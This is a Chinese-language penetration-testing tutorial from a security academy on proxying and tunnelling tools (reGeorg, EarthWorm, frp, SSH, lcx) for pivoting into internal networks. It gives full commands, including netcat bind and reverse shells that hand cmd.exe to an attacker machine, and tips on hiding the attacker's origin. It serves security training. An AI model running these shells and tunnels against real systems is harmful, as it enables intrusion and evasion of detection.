本文由“网络安全检测与防护技术国家地方联合工程研究中心深圳分中心——东塔网络安全学院”总结归纳
一、介绍
1.什么是代理、有什么作用?
代理其实就是一个中介,A和B本来不可以直连,但是C可以访问B,通过代理C访问B,C就是中介。
刚开始的时候,代理多数是帮助内网client访问外网server用的,后来出现了反向代理,"反向"这个词在这儿的意思其实是指方向相反,即代理将来自外网客户端的请求转发到内网服务器,从外到内
日常的渗透测试过程中经常会用到端口转发,可以利用代理脚本将内网的流量代理到本地进行访问,这样很大的方便了我们对内网进行横向渗透。为什么不直接通过登陆服务器来对内网中其他机器进行渗透,而是通过内网转发呢?
很大部分服务器缺少相应的环境或者其他需要的东西,而且留下的痕迹也比较明显,再就是很多时候拿到的权限不够,无法直接登录,所以需要内网转发。
2.正向代理
正向代理就是顺着请求的方向进行的代理,即代理服务器他是由你配置为你服务,去请求目标服务器地址。
比如我们要去访问谷歌网站,我们直接访问不通,那么我们就可以找一个代理服务器为我们服务,我们通过代理服务器请求到谷歌网站。对于谷歌而言他只知道有一个服务器访问了自己,并不知道这是找了一个代理服务器访问自己。
正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端
Host为了访问到Server,向Proxy发送了一个请求并且指定目标是Server,然后Proxy向Server转交请求并将获得的内容返回给Host,简单来说正向代理就是Proxy代替了我们去访问Server。
3.反向代理
反向代理正好与正向代理相反,代理服务器是为目标服务器服务的,虽然整体的请求返回路线都是一样的都是Client到Proxy到Server。
比如 我们访问百度网站,百度的代理服务器对外的域名为 https://www.baidu.com 。具体内部的服务器节点我们不知道。现实中我们通过访问百度的代理服务器后,代理服务器给我们转发请求到他们N多的服务器节点中的一个给我们进行搜索后将结果返回。
反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服务端
host只向Proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。
3.代理转发工具
二、代理转发工具使用
1、HTTP(S) 隧道
(1)、reGeorg
reGeorg是reDuh的继承者,利用了会话层的socks5协议,结合Proxifier使用效率更高,Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。该文件下支持php,asp,jsp,aspx
下载地址:https://github.com/sensepost/reGeorg
使用场景
1.web服务器使用的什么脚本语言,就上传到Web服务器,访问显示“Georg says, ‘All seems fine’“,表示脚本运行正常。这里是php所以上传tunnel.nosocket.php
2.在攻击机上使用python2运行reGeorgSocksProxy.py脚本配置代理,当程序卡在“Georg says, 'All seems fine'”表示正常运行
python reGeorgSocksProxy.py -u http://ip/tunnel.nosocket.php -p 444 //端口
3.在Linux中使用vim配置proxychains,使用proxychains启动需要使用的工具
4.windows下载proxifier。使用proxifier配置代理,运行proxifier,点击profile,然后点击proxy Server..,选择Add添加一个新代理
下载地址:https://pc.qq.com/detail/13/detail_10593.html
5.点击profile,点击Proxification Rules设置代理规则,应用程序选择python,目标主机和目标端口都任意, 动作这里会有三个状态,Direct(放行),Block(阻塞),Proxy(代理)。这里选择Direct(放行)
6.配置完成后右击“mstsc.exe”,选择“proxifier”-》proxy socks5 127.0.0.1进行远程连接
(2)、reDuh
ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具,通过在服务器上传JSP/PHP/ASP脚本,就可以轻易地连接到服务器后面的主机。
经常我们拿到一个shell后,发现只将目标服务器的80端口映射到公网ip地址,无法访问其他端口,如3389或3306等这时可以通过reduh做一个跳板,将特定端口通过开放的80端口从内网中转发出来
下载地址:https://github.com/sensepost/reDuh
2.执行此代理需要java环境,复制url链接,然后本地通过命令行使用java执行reduh的客户端(位于\reDuhClient\dist\目录下)
java -jar reDuhClient.jar http://192.168.10.211/reDuh.php
- 然后通过nc监听本地1010端口
nc -nvv 127.0.0.1 1010
4. 然后创建隧道,这里以将3389端口为例
[createTunnel]6666:127.0.0.1:3389
5.然后使用本地通过mstsc连接127.0.0.1:6666
6.如果需要连接内网其他机器只需要在nc监听那里输入
[createTunnel]9999:172.17.17.171:3389
7.然后在本地使用mstsc 127.0.0.1:9999 连接其他机器即可
2、Socks隧道
(1)、Earthworm
Earthworm简称EW 是一套便携式的网络穿透工具,具有SOCKSv5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
该工具能够以"正向"、"反向"、"多级级联"等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。支持 Linux、Windows、MacOS、Arm-Linux 均被包括其内,建议使用EW。
下载地址:http://rootkiter.com/EarthWorm/
该工具借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道:
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
①、一层环境
- 正向 SOCKS v5 服务器,适用于目标网络边界存在公网IP且可任意开监听端口。
以下命令在边界机且存在公网IP(192.168.10.211)的受害者机开启一个8888的正向连接端口。然后其它主机可通过设置代理为192.168.10.211:8888添加这个代理,这里使用的
ew_for_Win.exe -s ssocksd -l 8888
在kali中配置proxychains
2.当目标网络边界机不存在公网IP,可以通过反弹方式创建socks代理。
首先在公网vps或者攻击机设置监听端口,意思是在我们公网VPS上添加一个转接隧道,把9999端口收到的代理请求转交给10000端口。
ew_for_linux64 -s rcsocks -l 9999 -e 10000
在受害者机上启动SOCKS5服务 并反弹到公网主机的10000端口。本地主机(172.16.1.131)然后通过添加公网172.16.1.131:9999这个代理,来访问内网机器(172.17.17.171),当然如果本地主机如果是公网ip,就可以把在公网执行的步骤放在本地执行即可。
ew_for_Win.exe -s rssocks -d 172.16.1.131 -e 10000
这里我的kali就当作vps,配置proxychains为127.0.0.1 9999
②、二层环境(有公网IP)
假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块192.168.10.211连通外网,一块172.17.17.171只能连接内网主机B,无法访问内网其它资源。主机B可以访问内网资源,但无法访问外网。
1.当我们拿下主机B后上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下:
ew_for_Win.exe -s ssocksd -l 8888
2.然后在主机A也就是边界机可以访问公网上执行,命令的意思是将3333端口收到的代理请求转交给主机B(172.17.17.171)的8888端口。然后Host就可以通过主机A的外网代理192.168.10.211:3333访问B。
ew_for_Win.exe -s lcx_tran -l 3333 -f 172.17.17.171 -g 8888
3.在kali中配置proxychains为主机A的IP(192.168.10.211)端口为3333
③、二级网络环境(无公网IP)
假设我们获得了右侧主机A和主机B的控制权限,主机A(NAT)没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
- 在公网vps(172.16.1.165)添加转接隧道,将10000端口收到的代理请求转交给8888端口;
./ew_for_linux64 -s lcx_listen -l 10000 -e 8888
2.主机B(172.17.171)主机正向开启7777端口;
ew_for_Win.exe -s ssocksd -l 7777
3.主机A利用lcx_slave方式,将公网VPS的8888端口和B主机的7777端口连接起来
./ew_for_Win.exe -s lcx_slave -d 172.16.1.165 -e 8888 -f 172.17.17.171 -g 7777
4.现在Host可通过访问172.16.1.165:10000来使用172.17.17.171主机提供的socks5代理,代理成功,vps会有rssockscmd_socket OK!提示。
Host配置proxychains为172.16.1.165 10000
④、三级级联测试用例
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
(2)、sSocks代理
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试。
下载地址:http://sourceforge.net/projects/ssocks/
1.正向代理
./ssocksd --bind 192.168.10.145 --port 6666
2.反向代理
监听7777端口转发到8888
./rcsocks -l 7777 -p 8888 -vv
反向连接代理主机7777端口
./rssocks -s 192.168.10.145:7777 -vv
3.IPv6隧道
(1)Socat工具
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,其原版本是基于Linux的,这里我们使用Windows版本的,因为是移植过来的,需要依赖的库也比较多,所以不是那么的方便,以后的使用可能更多的是基于Linux平台来进行的。
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。
下载地址:http://www.dest-unreach.org/socat/download/
小攻:192.168.10.245
小受:192.168.10.211
1.socat正向代理
1.首先我们需要在小攻机器上执行以下命令:
socat.exe tcp4-listen:53,reuseaddr,fork tcp4:192.168.10.211:3389
2.此时并不会有任何的回显,然后我们在本地使用mstsc进行远程桌面连接
2.socat反向端口转发
1.在小攻机器上执行以下命令监听,将来自外部53端口的流量全部转发到本地888端口
socat.exe tcp-listen:53 tcp-listen:888
2.在小受机器上执行以下命令,将本地3389的流量转发到小攻的53端口
socat.exe tcp-connect:192.168.10.245:53 tcp:127.0.0.1:3389
3.在小攻的本地使用mstsc连接:127.0.0.1:888
注:此工具连接可能会失败,多连几次即可
更多用法参考:https://www.cnblogs.com/wuxinmengyi/p/11599131.html
4、内网穿透工具
(3)、ngrok
ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。
反向代理在计算机网络中是代理服务器的一种。服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在。
官方下地址:https://dashboard.ngrok.com/get-started/setup
1.在官网注册账号,下载windows版,也可以下载linux版
2.下载完成后解压出来,上传至目标机器,填写授权码,运行ngrok
ngrok.exe authtoken 授权码
3.将HTTP隧道转发到本地端口80,如下图,通过外网域名即可访问到本地80端口。
ngrok.exe http 80
浏览器访问http链接即可
每次启动ngrok都会分配一个新的外网域名,所以需要每次更换配置或者更换访问地址,不太方便。当然,ngrok也提供了解决方法,那就是氪金战士(付费),可以设置固定域名。
(4)、frp
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。
frp也是托管在Github上的开源项目,直接到Release页面下载即可
下载地址:https://github.com/fatedier/frp/releases
下载解压之后是一个文件夹,里面包含了frpc、frps可执行程序,以及它们对应的示例配置文件,frpc是客户端程序,frps是服务端程序。运行frp需要同时运行客户端和服务端程序才行。full和min分别是最大和最小配置文件,如果需要参考的话可以打开看看,最大配置文件中列出了frp支持的所有选项。
转发web服务
服务端配置:
1.将 frps 及 frps.ini 放到有公网 IP 的机器上,修改frps.ini文件,配置一个名为ssh的反向代理:
frps.ini
[common]
bind_port = 7000
vhost_http_port = 8080
- 然后启动frps:frps -c ./frps.ini
客户端配置:
1.将 frpc 及 frpc.ini 放到处于内网环境的机器上,修改 frpc.ini 文件,设置 frps 所在服务器的 IP 为 172.16.1.165
frpc.ini
[common]
server_addr = 172.16.1.165
server_port = 7000
[web]
type = http
local_port = 80
custom_domains = 172.16.1.165
2.然后启动frpc:frpc -c ./frpc.ini
配置完成后,访问服务器网址http://www.yourdomain.com即可看到部署在本地http://localhost:8080上的网站。如果需要https的话,只要把vhost_http_port改成vhost_https_port,再把客户端web下type设置为https即可。
3.在浏览器访问vps的IP(172.16.1.165:8080),就可以访问到内网的80端口服务
配置ssh****服务
服务器端配置:
- 将 frps 及 frps.ini 放到具有公网 IP 的机器上。修改 frps.ini 文件
[common]
bind_port = 7000
[ssh]
listen_port=6000
auth_token=123
2.运行frps:frps.exe -c ./frps.ini
客户端配置:
1.将 frpc 及 frpc.ini 放到处于内网环境的linux机器上。修改 frpc.ini 文件
frpc.ini
[common]
server_addr = 172.168.10.211 #公网VPSIP
server_port = 7000
auth_token =123
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
2.启动frd:./frpc -c ./frpc.ini
3.然后通过ssh访问内网服务器,假设用户名为redhat
更多使用教程参考官方文档:https://github.com/fatedier/frp
5、ssh隧道代理转发
ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。
socks代理:
ssh -qTfnN -D port remotehost
参数详解:
-C 允许压缩数据
-q 安静模式
-T不占用 shell
-f 后台运行,并推荐加上 -n 参数
-N不执行远程命令
-g允许远端主机连接本地转发的端口
-n把 stdin 重定向到 /dev/null (防止从 stdin 读取数据)
-L port:host :hostport 正向代理
//将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-R port:host :hostport 反向代理
//将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-D port socks5代理 //指定一个本地机器 "动态" 应用程序端口转发。
1.ssh本地转发
远程管理服务器上的mysql,mysql不能直接root用户远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地8888端口实现以root用户远程登陆mysql。
ssh -CfNg -L <本机地址>:<本机端口>:<目标B地址>:<目标B端口>用户名@跳板IP
例:ssh -L 192.168.1.2:8080:8.8.4.4:80 [email protected]
ssh到8.8.8.8上,然后让8.8.8.8把8.8.4.4的80端口映射到本地的8080端口上,而且和本地192.168.1.2这个IP绑定。
内网里的另外一台机器可以通过浏览器中输入http://192.168.1.2:8080查看8.8.4.4的网页。
ssh -CfNg -L 8888:127.0.0.1:3306 [email protected]
2.ssh远程转发
内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就可以直接访问到了内网的端口。
ssh -CfNg -R <本地端口>:<目标B地址>:<目标B端口> 用户名@本地IP
ssh -CfNg -R 100:127.0.0.1:80 [email protected]
3.ssh动态转发
远端服务器有限制隔离,本地主机无法直接访问,需要将一台可以访问远端服务器的主机作为跳板,设置为代理端,来代理访问不能访问的资源。
ssh -qTfnN -D <本地端口> 用户名@跳板IP
ssh -qTfnN -D 1080 [email protected]
kali配置配置proxychains 127.0.0.1:1080
6、端口转发
6.Netcat
Netcat有着“网络工具中的瑞士军刀”的绰号。它体积小巧,功能却又十分强大。netcat是一种简单的unix实用程序,它使用TCP或UDP协议在网络连接上读取和写入数据。它被设计成一个可靠的“后端”工具,可以是直接或容易被其他程序和脚本所驱动。
受害者机:192.168.10.241
攻击机:192.168.10.203
1.正向连接
1.在受害者机器上传一个nc,执行以下命令:
nc -l -p 5555 -t -e cmd.exe // -t是通过telnet模式执行 cmd.exe 程序
2.在攻击机执行nc -nvv 192.168.10.211 5555 命令
2. 反向连接
在攻击机器上监听nc -lp 9999
2.在受害者机器上反弹nc.exe -t -e cmd 192.168.10.203 9999
3.然后查看攻击机上面监听的nc,反弹回来了一个shell
7.Lcx
Lcx是一款端口转发工具,可以将内网机器的端口映射到带公网IP的机器上。一般进行渗透的时候,通过web漏洞getshell之后,需要对其进行远程登录,这就需要用到端口映射。
Lcx -Listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>
Lcx -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>
主机:192.168.10.245
肉鸡:192.168.10.211
- 本机: lcx -listen 2222 3333
2222为转发端口,3333为本机任意未被占用的端口,意思是监听2222端口并转发到3333端口
- 肉鸡:lcx -slave 192.168.10.245 2222 127.0.0.1 3389
192.168.10.245为本机IP,2222为转发端口,127.0.0.1为肉鸡内网IP,3389为远程终端端口
3.查看本机lcx的监听,可以看到返回的休息
4.本机连接3389格式为: 127.0.0.1:3333
- 需要连接内网其他机器的话在以肉鸡为跳板连接server2012的3389执行以下命令连接server2012其他机器
lcx -slave 192.168.10.245 2222 192.168.10.200 3389
1.本机上执行:lcx.exe -listen 2222 3333
2.肉鸡上执行:lcx.exe -slave 192.168.10.245 2222 172.17.17.171 3389
3.然后查看本机返回的信息
4.使用mstsc连接:127.0.0.1 3333
-tran端口映射:
Lcx -tran <等待连接的端口> <目标ip> <目标端口>
1.在肉鸡机器上输入:lcx.exe -tran 5555 172.17.17.171 3389
2.在本机mstsc输入:192.168.10.211:5555 就能连上172 的3389
3.被控制的服务器运行-tran 5555 172.17.17.171 3389,我们连接192.168.10.211:5555这样我们就能连接到172.17.17.171的3389了,此时我们打开cmd窗口运行netstat –an | find “3389”会惊奇的发现
TCP 172.17.17.171 3389 172.17.17.17:xxxxx ESTABLISHED
连接本机3389端口的是172.17.17.17这样对面记录到的连接信息都是172.17.17.17的,除非对面拿下172.17.17.17才能看到是谁连接了172.17.17.171
三、总结
代理转发工具有很多,这里主要介绍比较常见的全局代理和单端口代理。
全局代理建议使用http隧道中的reGeorg代理,强烈建议使用Socks隧道中的EW代理。单端口转发建议使用netcat和lcx。当存在linux主机知道密码时建议使用ssh隧道转发。内网穿透工具建议使用ngrok进行内网穿透。
东塔安全学院在各大平台均上线了各项活动和学习内容,快快登录以下各大平台,搜索下面“关键词”学习起来吧
微博:东塔学院
腾讯课堂:东塔安全学院
公众号、哔哩哔哩:东塔网络安全学院
了解更多活动和咨询欢迎微信添加:dongtakefu